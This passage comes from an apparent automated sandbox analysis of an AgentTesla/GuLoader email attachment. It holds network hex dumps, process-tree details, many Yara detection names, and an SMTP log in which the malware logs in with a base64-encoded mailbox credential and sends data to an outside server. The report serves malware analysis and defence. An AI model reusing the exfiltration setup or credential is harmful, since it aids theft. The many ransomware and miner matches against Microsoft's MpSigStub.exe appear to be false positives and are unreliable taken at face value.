59 d3 c6 39 72 f8 f8 35 e4 f1
                                                            Data Ascii: xU*-u|WB7sjm,IN!{csz9^db,*pa]a8t71\~oBG:VQXAKAAvf7~Uw;3!5S%.;A?^s|GNL29F?D&XxA<n?&9gBdkIBeY9r5
                                                            2021-10-12 07:38:07 UTC220INData Raw: c1 e9 be 6f 6c d1 2b f8 01 98 8a af c8 13 63 0c 28 db 5a ad 6e cd 0d 7c fc 3e eb c0 13 bc 22 7b ef 06 30 fa 87 a1 c2 f0 aa 42 a1 8a dc 64 87 87 f4 00 43 8a 69 7e c5 c4 8b 8b 62 85 9b 39 96 79 b1 7a cf a0 19 03 8c 1e 05 ec a2 22 bc 9f 67 93 56 a8 c7 3b 74 1f 41 62 6e 73 39 f5 ef b6 c1 aa 07 6c e2 d8 3b 7b 08 7e 34 4d 34 f8 b8 5f b0 c3 69 0e c5 0d dd ab 04 39 41 16 d5 1f a8 ed 78 05 ed e0 25 18 c9 60 26 6d 36 60 96 96 a6 c3 be b6 44 8f 44 38 cc 14 5c 53 91 26 57 26 b9 df 06 1c d7 c2 9d 96 f8 45 41 1a 0a b9 e4 9d b1 96 85 da 1a e5 9b ad f8 b0 24 f5 50 24 22 d9 f7 7f 14 31 e7 20 2c c7 c5 23 4c 79 19 3d 22 33 99 b8 66 ef ef b1 84 eb 6b b8 aa 25 6a 4d 08 ef ce c6 2e 91 3a 57 c5 e0 81 52 b9 23 76 08 bc 7d 16 1b f2 61 fb 57 87 e5 b4 92 db 59 7f ab bb b3 1d ec dd
                                                            Data Ascii: ol+c(Zn|>"{0BdCi~b9yz"gV;tAbns9l;{~4M4_i9Ax%`&m6`DD8\S&W&EA$P$"1 ,#Ly="3fk%jM.:WR#v}aWY
                                                            2021-10-12 07:38:07 UTC221INData Raw: 56 3a 83 57 0b 16 b1 90 1c 01 5c e5 b4 ad 64 cb 91 2d 08 6a d5 9b 5e 47 30 bf a8 e9 c1 32 0f 91 86 77 80 9b f4 7d f5 29 1f 8f 41 7f f3 79 ac a6 7e e2 e4 61 c8 70 b9 a5 02 eb a7 4b 0c c2 93 97 98 ca fb 03 e1 5b 0b 0f b6 8e 3b 79 18 b0 2b 80 17 f7 39 a5 a1 30 39 e1 bc 22 0f e5 d9 af 90 25 30 05 fe 8c 71 47 40 71 fe 65 ba 9a cd 06 cd b6 9d 29 bf 95 fb 0d 87 1a 10 a5 30 87 ef e0 17 42 34 01 be ad 8b 8c b7 2c ff 37 8f 63 d3 a5 29 1b 43 2d 45 f7 7b fa 74 52 5f 7a 60 b5 bc 11 44 c0 28 aa c1 b3 17 c8 11 46 c0 1b be 40 ca f4 40 4c e2 c5 cc a4 1d 73 61 38 12 ab 8e c3 06 04 73 a8 37 a3 f8 20 d8 24 a2 bc 62 14 4a f4 67 61 15 41 d3 e0 b4 40 7b a0 c8 eb f8 16 dd df 79 d1 db 3c 7a f6 f4 46 e4 99 37 2e 5b 16 f3 3a d8 88 3c d0 23 a5 11 8e 72 05 a3 35 7d 22 6a 86 72 be dd
                                                            Data Ascii: V:W\d-j^G02w})Ay~apK[;y+909"%0qG@qe)0B4,7c)C-E{tR_z`D(F@@Lsa8s7 $bJgaA@{y<zF7.[:<#r5}"jr


                                                            SMTP Packets

                                                            TimestampSource PortDest PortSource IPDest IPCommands
                                                            Oct 12, 2021 09:39:46.986123085 CEST58749812116.0.120.83192.168.11.20220-seahorse.sfdns.net ESMTP Exim 4.94.2 #2 Tue, 12 Oct 2021 15:39:46 +0800
                                                            220-We do not authorize the use of this system to transport unsolicited,
                                                            220 and/or bulk e-mail.
                                                            Oct 12, 2021 09:39:46.987306118 CEST49812587192.168.11.20116.0.120.83EHLO 849224
                                                            Oct 12, 2021 09:39:47.259186029 CEST58749812116.0.120.83192.168.11.20250-seahorse.sfdns.net Hello 849224 [102.129.143.96]
                                                            250-SIZE 52428800
                                                            250-8BITMIME
                                                            250-PIPELINING
                                                            250-PIPE_CONNECT
                                                            250-AUTH PLAIN LOGIN
                                                            250-STARTTLS
                                                            250 HELP
                                                            Oct 12, 2021 09:39:47.260775089 CEST49812587192.168.11.20116.0.120.83AUTH login cHVyY2hhc2luZ0Bjc2VsZWdhbmNlLmNvbQ==
                                                            Oct 12, 2021 09:39:47.532618999 CEST58749812116.0.120.83192.168.11.20334 UGFzc3dvcmQ6
                                                            Oct 12, 2021 09:39:47.814075947 CEST58749812116.0.120.83192.168.11.20235 Authentication succeeded
                                                            Oct 12, 2021 09:39:47.814698935 CEST49812587192.168.11.20116.0.120.83MAIL FROM:<purchasing@cselegance.com>
                                                            Oct 12, 2021 09:39:48.087203979 CEST58749812116.0.120.83192.168.11.20250 OK
                                                            Oct 12, 2021 09:39:48.087594032 CEST49812587192.168.11.20116.0.120.83RCPT TO:<purchasing@cselegance.com>
                                                            Oct 12, 2021 09:39:48.373550892 CEST58749812116.0.120.83192.168.11.20250 Accepted
                                                            Oct 12, 2021 09:39:48.373903036 CEST49812587192.168.11.20116.0.120.83DATA
                                                            Oct 12, 2021 09:39:48.646373034 CEST58749812116.0.120.83192.168.11.20354 Enter message, ending with "." on a line by itself
                                                            Oct 12, 2021 09:39:48.648243904 CEST49812587192.168.11.20116.0.120.83.
                                                            Oct 12, 2021 09:39:48.924387932 CEST58749812116.0.120.83192.168.11.20250 OK id=1maCO4-000As1-V1
                                                            Oct 12, 2021 09:41:24.513223886 CEST49812587192.168.11.20116.0.120.83QUIT
                                                            Oct 12, 2021 09:41:24.790131092 CEST58749812116.0.120.83192.168.11.20221 seahorse.sfdns.net closing connection

                                                            Code Manipulations

                                                            Statistics

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            Analysis Process: Foreign_Bank Account Details.exe PID: 7880 Parent PID: 6128

                                                            General

                                                            Start time:09:36:50
                                                            Start date:12/10/2021
                                                            Path:C:\Users\user\Desktop\Foreign_Bank Account Details.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'
                                                            Imagebase:0x400000
                                                            File size:135168 bytes
                                                            MD5 hash:8906FA5FED7B1D3D2E5579D97419C076
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:Visual Basic
                                                            Yara matches:
                                                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.17634386230.0000000002220000.00000040.00000001.sdmp, Author: Joe Security
                                                            Reputation:low

                                                            Analysis Process: RegAsm.exe PID: 5916 Parent PID: 7880

                                                            General

                                                            Start time:09:37:27
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'
                                                            Imagebase:0x7ff652070000
                                                            File size:65440 bytes
                                                            MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:.Net C# or VB.NET
                                                            Yara matches:
                                                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmp, Author: Joe Security
                                                            Reputation:moderate

                                                            Analysis Process: conhost.exe PID: 1260 Parent PID: 5916

                                                            General

                                                            Start time:09:37:28
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff771f00000
                                                            File size:875008 bytes
                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate

                                                            Analysis Process: tKZVPq.exe PID: 2024 Parent PID: 4608

                                                            General

                                                            Start time:09:38:39
                                                            Start date:12/10/2021
                                                            Path:C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
                                                            Imagebase:0x100000
                                                            File size:65440 bytes
                                                            MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:.Net C# or VB.NET
                                                            Antivirus matches:
                                                            • Detection: 0%, Metadefender, Browse
                                                            • Detection: 0%, ReversingLabs
                                                            Reputation:moderate

                                                            Analysis Process: conhost.exe PID: 6788 Parent PID: 2024

                                                            General

                                                            Start time:09:38:39
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff771f00000
                                                            File size:875008 bytes
                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate

                                                            Analysis Process: tKZVPq.exe PID: 2664 Parent PID: 4608

                                                            General

                                                            Start time:09:38:47
                                                            Start date:12/10/2021
                                                            Path:C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
                                                            Imagebase:0xf50000
                                                            File size:65440 bytes
                                                            MD5 hash:0D5DF43AF2916F47D00C1573797C1A13
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:.Net C# or VB.NET
                                                            Reputation:moderate

                                                            Analysis Process: conhost.exe PID: 7776 Parent PID: 2664

                                                            General

                                                            Start time:09:38:47
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff771f00000
                                                            File size:875008 bytes
                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate

                                                            Analysis Process: mpam-c45e5da5.exe PID: 3480 Parent PID: 7216

                                                            General

                                                            Start time:09:39:05
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe' /q WD
                                                            Imagebase:0x7ff758840000
                                                            File size:16298416 bytes
                                                            MD5 hash:443EE02E661D01299DEF051C2990B777
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low

                                                            Analysis Process: MpSigStub.exe PID: 3992 Parent PID: 3480

                                                            General

                                                            Start time:09:39:08
                                                            Start date:12/10/2021
                                                            Path:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe /stub 1.1.18500.10 /payload 1.351.256.0 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe /q WD
                                                            Imagebase:0x7ff791c50000
                                                            File size:803176 bytes
                                                            MD5 hash:01F92DC7A766FF783AE7AF40FD0334FB
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: clearlog, Description: Detects Fireball malware - file clearlog.dll, Source: 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, Source: 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), Source: 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, Source: 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, Author: Eyal Sela (slightly modified by Florian Roth)
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in memory based on strings., Source: 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18283887577.0000015B1A84E000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18336077687.0000015B1BE5C000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18336077687.0000015B1BE5C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18339192227.0000015B1C094000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18324883471.0000015B1B176000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18324883471.0000015B1B176000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Trojan_Win32_PlaKeylog_B, Description: Keylogger component, Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, Author: Microsoft
                                                            • Rule: DeepPanda_htran_exe, Description: Hack Deep Panda - htran-exe, Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), Source: 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Ammyy_Admin_AA_v3, Description: Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe, Source: 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18323536692.0000015B1B176000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18323536692.0000015B1B176000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword obfuscated with carets, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: MAL_unspecified_Jan18_1, Description: Detects unspecified malware sample, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Vidar, Description: Yara detected Vidar stealer, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_ByteLocker, Description: Yara detected ByteLocker Ransomware, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Artemon, Description: Yara detected Artemon Ransomware, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_lazparking, Description: Yara detected LazParking Ransomware, Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle Eastern campaign reported by Talos, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: HackTool_Samples, Description: Hacktool, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: unknown
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: MirageStrings, Description: Mirage Identifying Strings, Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, Author: Seth Hardy
                                                            • Rule: webshell_php_base64_encoded_payloads, Description: php webshell containing base64 encoded payload, Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_by_string_known_webshell, Description: Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions., Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_hidden_tear, Description: Yara detected HiddenTear ransomware, Source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell commands, Source: 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18304386604.0000015B1A404000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: APT_MAL_Sandworm_Exaramel_Configuration_Key, Description: Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[..., Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, Author: FR/ANSSI/SDO
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, Author: Joe Security
